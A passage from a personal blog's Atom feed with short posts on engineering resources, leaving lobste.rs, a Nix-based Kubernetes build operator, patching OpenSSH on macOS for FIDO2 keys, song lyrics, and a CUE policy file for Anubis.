&lt;p&gt;Phew! Up until that sentence, I was starting to really get worried they might accept bad patches from feminists based on their activist credentials alone! Crisis averted—now we can get back to reviewing @1000YearReich’s behavioural profiling PR in peace.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>resources for improving as a software engineer</title>
    <updated>2025-09-06T09:48:29Z</updated>
    <id>https://kivikakk.ee/2025/09/06/resources-for-improving-as-a-software-engineer</id>
    <link href="https://kivikakk.ee/2025/09/06/resources-for-improving-as-a-software-engineer" />

    <content type="html">&lt;p&gt;Been too sick to do anything but play Stardew Valley lately, but hey, I’ve never gotten past day 20 before, and now I’m having a lovely time :)&lt;/p&gt;
&lt;p&gt;A little while back, a lovely person reached out and asked for some advice. After some interesting discussion, they asked if I had any good resources that helped me improve as an engineer. I feel like my reply might be more helpful generally; here it is.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I’ve been thinking on your question for a while; it’s hard to pick out single things, but here’s a start after going through my bookmark archive:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.infoq.com/presentations/Simple-Made-Easy/&quot;&gt;https://www.infoq.com/presentations/Simple-Made-Easy/&lt;/a&gt; — I very rarely watch talks, I have bad hearing/audio processing and find them really inefficient besides. (Same goes for podcasts; I’d rather read something and be able to scan through it or search it; I’m not spending an hour listening to you and some other guy with impossible accents mumble interrupted only by ads for Audible.) But this, this one I have watched, quite a few times, and recommended it a lot back when it was new (2011). You don’t need to know or care about Clojure to get the most out of this.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://prog21.dadgum.com/&quot;&gt;https://prog21.dadgum.com/&lt;/a&gt; — this guy knows what’s good. Consider starting with any interesting looking titles from the lists on the homepage, and then scan the archive.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.regehr.org/archives/942&quot;&gt;https://blog.regehr.org/archives/942&lt;/a&gt; — random good post. At the end he says: “Finally, we probably need to do more code reading in class.” I would emphasise this. Read &lt;em&gt;much&lt;/em&gt; more. Get very, very comfortable diving into new codebases to add tiny features, fix bugs, or to diagnose/understand why something happened the way it did. (&lt;a href=&quot;https://nixos.org/&quot;&gt;Nix&lt;/a&gt; is an actual super-power when it comes to just diving into new environments, and is very worth the effort to grok, for so many reasons, despite its steep learning curve. &lt;a href=&quot;https://lottia.net/notes/0006-comrak-on-akkoma.html&quot;&gt;Here&lt;/a&gt; is a post on Just Diving In to something, when I decided to replace the Markdown library at the core of a Fediverse/ActivityPub implementation with my own. &lt;a href=&quot;https://lottia.net/notes/0005-jambalam.html&quot;&gt;Here&lt;/a&gt; is another one where we add our very own bespoke feature to git, in a way where we get to &lt;em&gt;keep&lt;/em&gt; it forever, even with upgrades, new machines, everything.)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ferd.ca/lessons-learned-while-working-on-large-scale-server-software.html&quot;&gt;https://ferd.ca/lessons-learned-while-working-on-large-scale-server-software.html&lt;/a&gt; — another random good post, and Ferd writes a lot of other good stuff too; scan the archive.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=F785myaMdR8&quot;&gt;https://www.youtube.com/watch?v=F785myaMdR8&lt;/a&gt; — another talk, this one from last year instead of last decade. Dude has a big personality, and some of the time you might wonder why he loves the word “modality” so damn much, but he gets at something important — something increasingly lost as folks continue to drink the “we’ll all be prompt engineers in a few years” Koolaid while trying very hard to ignore the material reality of “but what’s going to be funding this” and the more abstract reality of “perhaps abdicating thousands of tiny decisions to an RNG is not, strictly speaking, the best way to improve our ability to construct systems we understand and can maintain”.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ratfactor.com/papers/naur1&quot;&gt;https://ratfactor.com/papers/naur1&lt;/a&gt; — further to that last point, this is a (commentary on a) classic text by Peter Naur, who diverged from the (then more dominant) idea that programming was a kind of mathematics. The text is linked at that first dot-point. I’d suggest reading the commentary/summary first, and then the original if your interest is sufficiently piqued.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Outside learning resources like this, I’d suggest:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get &lt;em&gt;really&lt;/em&gt; comfortable with using your VCS. Learn to do black magic with git, and learn to do it fast. This will probably take a lot of aliases — scroll down to the “Git aliases” section &lt;a href=&quot;https://nossa.ee/~talya/vyx#git-aliases&quot;&gt;on this page&lt;/a&gt; to see what I mean. You’ll write bad quality commit messages like “update project files” if you have to type out “git add blah” and “git commit” and “git push” every time you commit, and you’ll make larger, less useful, less self-contained commits too. If staging &lt;em&gt;just&lt;/em&gt; what you want and committing and pushing it as as simple as “a”, “c”, “w”, you’ll do it more often. If amending a commit is as easy as “cx”, and reordering commits is as easy as “ri HEAD~10”, you’ll do it more. This is a basic observation from linguistics: more commonly used words/signs evolve to become shorter/simpler. Apply this to your own environment: see what you use most (check your shell history! pipe it into sort/uniq and find out what you do most!), create aliases for those, and &lt;em&gt;retrain&lt;/em&gt; yourself to use them. (e.g. with git, create an alias for &lt;code&gt;git&lt;/code&gt; itself that just instead echos “bad! use the new aliases!”, and after a dozen or so tries you’ll get it. You can apply this technique in lots of places where your muscle memory would otherwise prevent you from adopting an improved/different workflow; see also unbinding keys in your editor.)
&lt;ul&gt;
&lt;li&gt;I’d suggest learning jujutsu, too; per that README, it’s what I use 100% of the time now, as an interface to git repositories! &lt;a href=&quot;https://lottia.net/notes/0012-soft-skills.html&quot;&gt;This post&lt;/a&gt; contrasts them a bit, and &lt;a href=&quot;https://lottia.net/notes/0013-git-jujutsu-miniature.html&quot;&gt;this one&lt;/a&gt; in a specific case.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Per above, Nix is a wonderful way to accumulate learnings and improvements in a way that is version-controlled and reproducible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I hope these links and ideas prove enlightening, or at least interesting!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>how to leave lobste.rs for good in 3 easy steps</title>
    <updated>2025-09-01T11:48:20Z</updated>
    <id>https://kivikakk.ee/2025/09/01/how-to-leave-lobsters-for-good-in-3-easy-steps</id>
    <link href="https://kivikakk.ee/2025/09/01/how-to-leave-lobsters-for-good-in-3-easy-steps" />

    <content type="html">&lt;p&gt;This weekend’s &lt;a href=&quot;https://lobste.rs/s/zoirhl/appealing_ban_user_friendlysock&quot;&gt;absolute fucking shit-show&lt;/a&gt; could’ve gone better&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-mtl&quot; id=&quot;fnref-mtl&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;, and for the second time&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-straw&quot; id=&quot;fnref-straw&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt; — after some well-intentioned efforts by Lotte in that thread that ultimately left her feeling even more burnt out and apathetic about humanity — decided I was done for good.&lt;/p&gt;
&lt;p&gt;Here’s how you do it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Change your email address to something no-one can ever access — the &lt;a href=&quot;https://en.wikipedia.org/wiki/.example&quot;&gt;&lt;code&gt;.example&lt;/code&gt; TLD&lt;/a&gt; is a wonderful provision for this purpose. You do not need to verify your email address to change it, which is why this works.&lt;/li&gt;
&lt;li&gt;Delete your account normally.&lt;/li&gt;
&lt;li&gt;Profit!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can only reactivate your account by resetting its password, which involves you receiving an email that can no longer be received.&lt;/p&gt;
&lt;p&gt;11.5 years and 1500 comments later — good. bye.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;best hits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lobste.rs/s/liiwbl/moral_implications_being_moderately#c_ykqqin&quot;&gt;So you don’t want equality, but want women to be treated specially?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lobste.rs/s/zc8dd3/announcing_ladybird_browser_initiative#c_fhpxf1&quot;&gt;Can we not [advocate for gender neutral pronouns in documentation]? Just once?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lobste.rs/s/3f9jfg/from_nix_eos#c_6orfll&quot;&gt;Let reason be heard. […] Our turn.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lobste.rs/s/rawcyg/on_safe_c#c_xeuzor&quot;&gt;Politics are nothing but an excuse to create arguments and contention, and I am not comfortable being receptive to it’s inclusion into an atmosphere in any capacity.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lobste.rs/s/s0s8fu/why_not_github#c_dt89nu&quot;&gt;Ignore the loud-mouths, their liberty ends where yours begins.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lobste.rs/s/u3t4sg/xmpp_forgotten_gem_instant_messaging#c_bqpg30&quot;&gt;Imagine an XML document that never ends.&lt;/a&gt; (this one is just funny)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lobste.rs/s/9mhrkk/proposed_punctuation#c_lwz6zh&quot;&gt;yeah look i ain’t summarising this one&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-mtl&quot;&gt;
&lt;p&gt;thanks for re-opening that can of worms, mtlynch! love that for queer folks! &lt;a href=&quot;#fnref-mtl&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-straw&quot;&gt;
&lt;p&gt;this was the last straw (the second!) after SO MANY conversations that left me feeling utterly dead. allies, please understand — it’s not enough to upvote. there are way more of them, and they are a lot less exhausted. &lt;a href=&quot;#fnref-straw&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>nóssa: now with a prettier homepage!</title>
    <updated>2025-09-01T11:24:35Z</updated>
    <id>https://kivikakk.ee/2025/09/01/nóssa-now-with-a-prettier-homepage</id>
    <link href="https://kivikakk.ee/2025/09/01/nóssa-now-with-a-prettier-homepage" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://kivikakk.ee/2025/08/31/enbi-fully-operational&quot;&gt;Now that&lt;/a&gt; I can bump the software in my cluster with just a push, I finally decided to make the homepage (and userpages) of nóssa much, much prettier! Have a look sometime, if you like :) → &lt;a href=&quot;https://nossa.ee&quot;&gt;https://nossa.ee&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/nossa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>SLITHER</title>
    <updated>2025-09-01T04:10:07Z</updated>
    <id>https://kivikakk.ee/2025/09/01/slither</id>
    <link href="https://kivikakk.ee/2025/09/01/slither" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://blackdresses.bandcamp.com/track/slither&quot;&gt;https://blackdresses.bandcamp.com/track/slither&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1. we slithered out of your reach. all of us had someone like you to run from. our wings were clipped and our limbs were damaged but we crawled and picked our way out as far as we could.&lt;br /&gt;
&lt;br /&gt;
2. we lived by the water. took care of something that made its home deep below the surface. the mother of the depths returned our kindness by giving us her flesh to sustain us. she was sick and diseased like we all were, but she kept us alive.&lt;br /&gt;
&lt;br /&gt;
3. things settled and some of our feathers started to grow back, a different color than before. our bones began to heal - at new angles, but almost as strong as they used to be. we held each other close at night and whispered that things were different now. things were safe. we had to be reminded nightly, or else we’d forget.&lt;br /&gt;
&lt;br /&gt;
4. you found us. you came while we were sleeping. you talked with warm familiarity and i threw up at your feet. you asked me what was wrong - sincere - and i couldn’t answer. i wish it was easier to hate you. i wish you were a bad person, but instead i just think that i am for wanting that.&lt;br /&gt;
&lt;br /&gt;
5. we drove you away, haltingly. i told you i needed more time as if i hadn’t already decided what you were to me. i wish you knew what you did, but i don’t want to tell you. it would be easier if you were something i had nightmares about instead of ugly, complicated dreams. i want to flatten you into a villain but i think that would only turn me into one. please leave me alone. i’m happy now. i’m happy here. please don’t look for me. i promise i’m okay. please go.&lt;br /&gt;
&lt;br /&gt;
listen to me. i’m going to speak plainly&lt;br /&gt;
i’m not going to say your name. i’m afraid&lt;br /&gt;
because of what i know you won’t mention&lt;br /&gt;
all those years of horrible tension&lt;br /&gt;
i don’t think youre a monster, hardly&lt;br /&gt;
i just think that you fucked up, badly&lt;br /&gt;
i can never tell you what you did to me&lt;br /&gt;
so i have to settle for this, i hope truly&lt;br /&gt;
that you never hear these words that i’m speaking&lt;br /&gt;
this is just for me as i’m healing.&lt;br /&gt;
it’s not my fault that my soul is a war&lt;br /&gt;
that i don’t want to say i love you on the phone anymore&lt;br /&gt;
i blame you. but i don’t want to hate you&lt;br /&gt;
…but maybe that’s because i’m afraid to&lt;br /&gt;
there is a memory of when i was young and i admired you so much.&lt;br /&gt;
&lt;br /&gt;
we got away&lt;br /&gt;
but everything reminds us&lt;br /&gt;
&lt;br /&gt;
i admired you so much&lt;br /&gt;
&lt;br /&gt;
6. what comes next? is there anything after? where will we go to now? who will we become?&lt;br /&gt;
&lt;br /&gt;
i wonder.&lt;br /&gt;
&lt;br /&gt;
i’ve never wondered before.&lt;br /&gt;
&lt;br /&gt;
—&lt;br /&gt;
&lt;br /&gt;
everything always changes but its always the same&lt;br /&gt;
everything always changes it flickers like flames&lt;br /&gt;
everything always changes dice roll to a different face&lt;br /&gt;
everything always changes new skin new name&lt;br /&gt;
everything always changes but its different sides of one thing&lt;br /&gt;
everything always changes in a circle in a ring&lt;/p&gt;
&lt;/blockquote&gt;</content>

  </entry>

  <entry>
    <title>enbi: fully operational!</title>
    <updated>2025-08-31T09:30:09Z</updated>
    <id>https://kivikakk.ee/2025/08/31/enbi-fully-operational</id>
    <link href="https://kivikakk.ee/2025/08/31/enbi-fully-operational" />

    <content type="html">&lt;p&gt;Update on &lt;a href=&quot;https://kivikakk.ee/2025/08/26/nix-build-nb-enbi&quot;&gt;enbi&lt;/a&gt; (&lt;a href=&quot;https://nossa.ee/~talya/enbi&quot;&gt;source&lt;/a&gt;) — it now monitors Pods with annotations describing which flake to build and what tag that build should produce. When it notices one failing to start due to a missing image matching the annotations, it creates a &lt;code&gt;NixBuild&lt;/code&gt; matching the requirements, which in turn runs the build and loads it into the cluster! Successful builds clean up after themselves, though I’m leaving around the &lt;code&gt;NixBuild&lt;/code&gt; objects themselves for now. Failing builds leave the Job/Pod in place for troubleshooting.&lt;/p&gt;
&lt;p&gt;Updating the version of one of my apps which use my standard pattern for building Docker images with Nix is now just a matter of changing the tag in one place (&lt;a href=&quot;https://nossa.ee/~talya/vyx/commit/main/12e8a50ef10d80d3682132284ef7a12d4fc57581?k=HQcV2jWhy3xEcmlebTZiNGHoD3uncs_2qHtRJeMr0Pk%3D&quot;&gt;e.g.&lt;/a&gt;); the cluster figures out building it and moving to the new release without downtime.&lt;/p&gt;
&lt;p&gt;This has been a fun one week sojourn into writing Kubernetes operators :) The API is pretty neat, &lt;code&gt;controller-runtime&lt;/code&gt; feels clean, and it was enjoyable discovering how many assumptions I had to unlearn while negotiating where the controller was running, where its jobs were to be scheduled, how to move data around, and the like.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>&quot;contempt culture&quot; applies even when you, personally, do not like the thing in question</title>
    <updated>2025-08-29T02:12:12Z</updated>
    <id>https://kivikakk.ee/2025/08/29/contempt-culture</id>
    <link href="https://kivikakk.ee/2025/08/29/contempt-culture" />

    <content type="html">&lt;p&gt;I’ve seen &lt;a href=&quot;https://doineedkubernetes.com/&quot;&gt;doineedkubernetes.com&lt;/a&gt; dropped a few times in the last week, sometimes by the same kind of person who would in the next thread about something else link Aurynn Shaw’s &lt;a href=&quot;https://blog.aurynn.com/2015/12/16-contempt-culture&quot;&gt;Contempt Culture&lt;/a&gt;. Here’s looking at you!&lt;/p&gt;
&lt;p&gt;(i just typed &lt;a href=&quot;https://isjavascriptgoodyet.com/&quot;&gt;isjavascriptgoodyet.com&lt;/a&gt; into my browser — given the focus it receives in the aforementioned essay — not knowing if such a domain existed, and what do you know! Consider who your neighbours are.)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;To give some more context, I basically didn’t give a damn about k8s, and then one day I read &lt;a href=&quot;https://www.macchaffee.com/blog/2024/you-have-built-a-kubernetes/&quot;&gt;Dear friend, you have built a Kubernetes&lt;/a&gt; and it stuck in my mind. It stuck there right up until I was in a work situation where I realised that this was essentially exactly what had happened, and furthermore that the accumulating shell scripts I had been surrounded by for years had  cost us so much, and were doing their job so &lt;em&gt;increasingly&lt;/em&gt; poorly, that they badly needed to be replaced by something actually purpose-built, and that that something was in fact Kubernetes.&lt;/p&gt;
&lt;p&gt;And so I decided to learn it thoroughly, to perhaps apply it in this work situation, but in the end the “engineering dysfunction mirrors organisational dysfunction” property indeed goes two ways and it was going to be more of an uphill battle than I could take on at this point in my life. But now I know Kubernetes, and I am thankful for that. I bounced off Nix the first time I tried it in earnest (2020), too.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>nix build → nb → enbi</title>
    <updated>2025-08-26T12:35:55Z</updated>
    <id>https://kivikakk.ee/2025/08/26/nix-build-nb-enbi</id>
    <link href="https://kivikakk.ee/2025/08/26/nix-build-nb-enbi" />

    <content type="html">&lt;p&gt;Still pre-alpha, but tonight I got the first complete run of a little Kubernetes controller I’ve been wanting!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/enbia.png&quot; alt=&quot;Screenshot of a terminal, showing a Nix build in progress. At the top of the screen a Kubernetes CRD called “nixbuild.enbi.hrzn.ee” is visible, and at the bottom, the Nix build process can be seen producing a layered Docker image, which is then imported.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Wahoo yipee etc.! Right now we have a CRD which triggers a Nix build of a given flake URL, expected to produce a Docker or OCI image — it chooses a node which can build for the target system, spawns a Job which builds the target, and then imports it into the node’s container registry. We assume that something like &lt;a href=&quot;https://spegel.dev/&quot;&gt;Spegel&lt;/a&gt; is running and so any node that needs the image will pick it up.&lt;/p&gt;
&lt;p&gt;The “hard” part (other than writing directly against the k8s API for the first time) was getting the Nix stuff to work well vis-à-vis building in a container while caching everything nicely — the flakes themselves, as well as whatever ends up in the store, as much of it will be reused between versions. Thankfully all the tooling is Cool As Fuck and it was actually really easy. We create a locally-provisioned PersistentVolume per node and stuff &lt;code&gt;$HOME/.cache/nix&lt;/code&gt; and the Nix store in there. For now we use a &lt;a href=&quot;https://nix.dev/manual/nix/2.30/store/types/local-store.html&quot;&gt;chroot store&lt;/a&gt;, but I’d like to try an &lt;a href=&quot;https://nix.dev/manual/nix/2.30/store/types/experimental-local-overlay-store.html&quot;&gt;overlay store&lt;/a&gt; in future to avoid potentially duplicating whatever comes along in the &lt;code&gt;nixos/nix&lt;/code&gt; image. Importing into the node’s container store is as simple as mounting the host &lt;code&gt;/run&lt;/code&gt; and locating &lt;code&gt;containerd&lt;/code&gt;’s socket — it differs depending on your k8s distro, and I’m developing on kind while deploying to k3s.&lt;/p&gt;
&lt;p&gt;I still have to clean it up in this state, and have plans after this to remove the CustomResourceDefinition and trigger builds automatically when needed, getting the source details from annotations on the Deployment, but I’m happy. I don’t particularly like manually executing builds, nor do I want to stand up a registry and pre-build everything. My cluster runs on two architectures, but whether any given revision of an application will actually ever run on either, both, or any(!) of those is a matter of the particular scheduling constraints for the application and the state of the cluster at any given moment. Rather than waste energy pre-building and storing, let’s build on-demand instead! 💛🤍💜🖤&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>todo lo viejo es nuevo otra vez</title>
    <updated>2025-08-25T03:53:28Z</updated>
    <id>https://kivikakk.ee/2025/08/25/todo-lo-viejo-es-nuevo-otra-vez</id>
    <link href="https://kivikakk.ee/2025/08/25/todo-lo-viejo-es-nuevo-otra-vez" />

    <content type="html">&lt;p&gt;Was looking through old emails for some receipts (the literal kind, not the Twitter kind), and stumbled upon this beauty of an opener:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/so-very-sorry.png&quot; alt=&quot;email excerpt that reads “I’m so very sorry to hear you’re still unwell.”&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Date: 2016-12-19.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>conclusion: patch OpenSSH!</title>
    <updated>2025-08-24T02:47:06Z</updated>
    <id>https://kivikakk.ee/2025/08/24/conclusion-patch-openssh</id>
    <link href="https://kivikakk.ee/2025/08/24/conclusion-patch-openssh" />

    <content type="html">&lt;p&gt;John Goerzen’s &lt;a href=&quot;https://www.complete.org/easily-using-ssh-with-fido2-u2f-hardware-security-keys/&quot;&gt;Easily Using SSH with FIDO2/U2F Hardware Security Keys&lt;/a&gt; came up yesterday, and I thought it was a good time to fix my mess of private keys. I already own a YubiKey 5C Nano, which sits in my laptop at all times, as well as a 5C NFC, which I figured I could use hopefully with both my phone (NFC) and tablet (USB-C) for SSH when needed.&lt;/p&gt;
&lt;p&gt;The ideal was to drop &lt;em&gt;all&lt;/em&gt; non-SK keys, and use move to using agent forwarding exclusively when authenticating between hosts — rarely needed, but nice for some remote-to-remote scps or git+ssh pushes. (Agent forwarding is traditionally frowned upon, since someone who has or gains access to your VPS can use your socket to get your agent to auth things, but that issue is greatly reduced when user presence is verified on each use, viz. requiring you to touch your key.)&lt;/p&gt;
&lt;p&gt;Turns out all was pretty much that easy! Just two minor hiccups:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://termius.com/&quot;&gt;Terminus&lt;/a&gt; on iOS supports FIDO2 keys, no payment required (despite what some search results say; looks like it was maybe a paid-only feature during beta but since not). Non-resident Ed25519 keys work &lt;a href=&quot;https://taptag.shop/cdn/shop/articles/Demo41.png&quot;&gt;very well&lt;/a&gt; over NFC on iPhone, &lt;strong&gt;but not over USB-C on iPad&lt;/strong&gt;. The only reference I can find is this from their &lt;a href=&quot;https://ideas.termius.com/c/47-u2f-fido2-token-support&quot;&gt;“ideas” page&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; Unfortunately, iPads and iPhones with USB-C cannot be compatible with OpenSSH-generate FIDO2-based keys. Please generate new FIDO2-based keys in the Termius app. These keys are supported in OpenSSH and all Termius apps.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Upon testing, Terminus generates a non-resident ECDSA, and that works just great. So, in the end, I have three private keys: an Ed25519 for the 5C Nano, and an Ed25519 and ECDSA for the 5C NFC for use with NFC and USB-C respectively.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The OpenSSH bundled in macOS (at time of writing, &lt;code&gt;OpenSSH_9.9p2, LibreSSL 3.3.6&lt;/code&gt;) doesn’t support the use of these keys. I haven’t checked whether it’s non-resident SKs specifically or what, or whether it’s the version or just a matter of what support is compiled in.&lt;/p&gt;
&lt;p&gt;NixOS/nix-darwin 25.05 carries an &lt;code&gt;OpenSSH_10.0p2, OpenSSL 3.4.1 11 Feb 2025&lt;/code&gt;, and it does!&lt;/p&gt;
&lt;p&gt;Using agent forwarding without losing what’s left of one’s humanity implies getting your &lt;code&gt;ssh-agent&lt;/code&gt; setup working nicely. How?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I looked into a few different ways, but opted for the simplest: patching OpenSSH (!?). The thought process is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/System/Library/LaunchAgents/com.openssh.ssh-agent.plist&lt;/code&gt; will put an &lt;code&gt;SSH_AUTH_SOCKET&lt;/code&gt; in your environment, which launches the system-provided &lt;code&gt;ssh-agent&lt;/code&gt; when first addressed.&lt;/li&gt;
&lt;li&gt;This is a nice, macOS-y way to do things, but we don’t want to go down any rabbit hole that involves disabling SIP, so we can’t just swap the binary path (or binary itself) out.
&lt;ul&gt;
&lt;li&gt;Even if we could, we still need to add launchd support to the ssh-agent in Nix. Thankfully, the needed changes are small, and easy to find; just look for &lt;code&gt;__APPLE_LAUNCHD__&lt;/code&gt; in &lt;a href=&quot;https://github.com/apple-oss-distributions/OpenSSH/blob/6799dabf8ec00ba9e57020183e33cb8992f6d29c/openssh/ssh-agent.c&quot;&gt;&lt;code&gt;ssh-agent.c&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;In my experience, disabling the system-provided launch agent doesn’t work reliably.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We apply two patches:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/b1d86eb891ff25a4dc9bc1ee08a5bdfadb48bd1e/hosts/seraphim/0001-ssh-agent-add-__APPLE_LAUNCHD__-parts.patch?k=15xKDRIP2bdoKckc38OX1-a5WFMZZrnYEuuk4nKF7BA%3D&quot;&gt;Add the &lt;code&gt;__APPLE_LAUNCHD__&lt;/code&gt; bits into the Nix-provided OpenSSH&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/b1d86eb891ff25a4dc9bc1ee08a5bdfadb48bd1e/hosts/seraphim/0002-ssh-use-VYX_SSH_AUTH_SOCK.patch?k=9K1P6wp_iFDJz3MM68zzWWJbWkdHTplf1WDp80mpjyo%3D&quot;&gt;Change &lt;code&gt;SSH_AUTHSOCKET_ENV_NAME&lt;/code&gt; to &lt;code&gt;&amp;quot;VYX_SSH_AUTH_SOCK&amp;quot;&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Finally, &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/b1d86eb891ff25a4dc9bc1ee08a5bdfadb48bd1e/hosts/seraphim/default.nix?k=Kf7034Ye-Z3qFO-fjVSvCUnGhynqVjKKWvZgTNeUE_4%3D#L57-L73&quot;&gt;we install our own launchd user agent&lt;/a&gt; (modelled upon the system one, but with our binary), which puts the socket in the &lt;code&gt;VYX_SSH_AUTH_SOCK&lt;/code&gt; env var instead. This means we don’t need to worry about the system launch agent; it’ll only get triggered/used when something calls the system &lt;code&gt;ssh&lt;/code&gt; binary.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://harjuelu.ee/wp-content/uploads/2018/08/DSC_0278-1024x685.jpg&quot;&gt;Head teed!&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>jackalgirls &amp; CUE</title>
    <updated>2025-08-23T03:19:46Z</updated>
    <id>https://kivikakk.ee/2025/08/23/jackalgirls-and-cue</id>
    <link href="https://kivikakk.ee/2025/08/23/jackalgirls-and-cue" />

    <content type="html">&lt;p&gt;Today it was finally time to write a &lt;a href=&quot;https://anubis.techaro.lol/docs/admin/policies/&quot;&gt;policy file&lt;/a&gt; for one of my &lt;a href=&quot;https://anubis.techaro.lol/&quot;&gt;Anubis&lt;/a&gt; instances. I use &lt;a href=&quot;https://timoni.sh/&quot;&gt;Timoni&lt;/a&gt; as a fairly thin wrapper over &lt;a href=&quot;https://cuelang.org/&quot;&gt;CUE&lt;/a&gt; to write templates for my own k8s deployments, and I found it really shone in this particular instance. I’ll just tl;dr and show the code; here’s &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/758f70440c03b30467c5433702eba83827ed7056/flux/sources/kv/bundle.cue?k=RCps7yLQJQuXSSXlU_LsK47jYXBJ-L2N5L0b1embsrs%3D#L64-L73&quot;&gt;an excerpt from my blog engine’s &lt;code&gt;bundle.cue&lt;/code&gt;&lt;/a&gt;, which is the “entrypoint” for compiling its manifests:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;anubis: &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  secretName: &amp;quot;anubis-20250816-071240&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  policy: permitPaths: [&amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    name:       &amp;quot;permit-atom-xml&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    path_regex: &amp;quot;^/atom\\.xml$&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &amp;rbrace;, &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    name:       &amp;quot;permit-feed-xml&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    path_regex: &amp;quot;^/feed\\.xml$&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &amp;rbrace;]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&amp;rbrace;
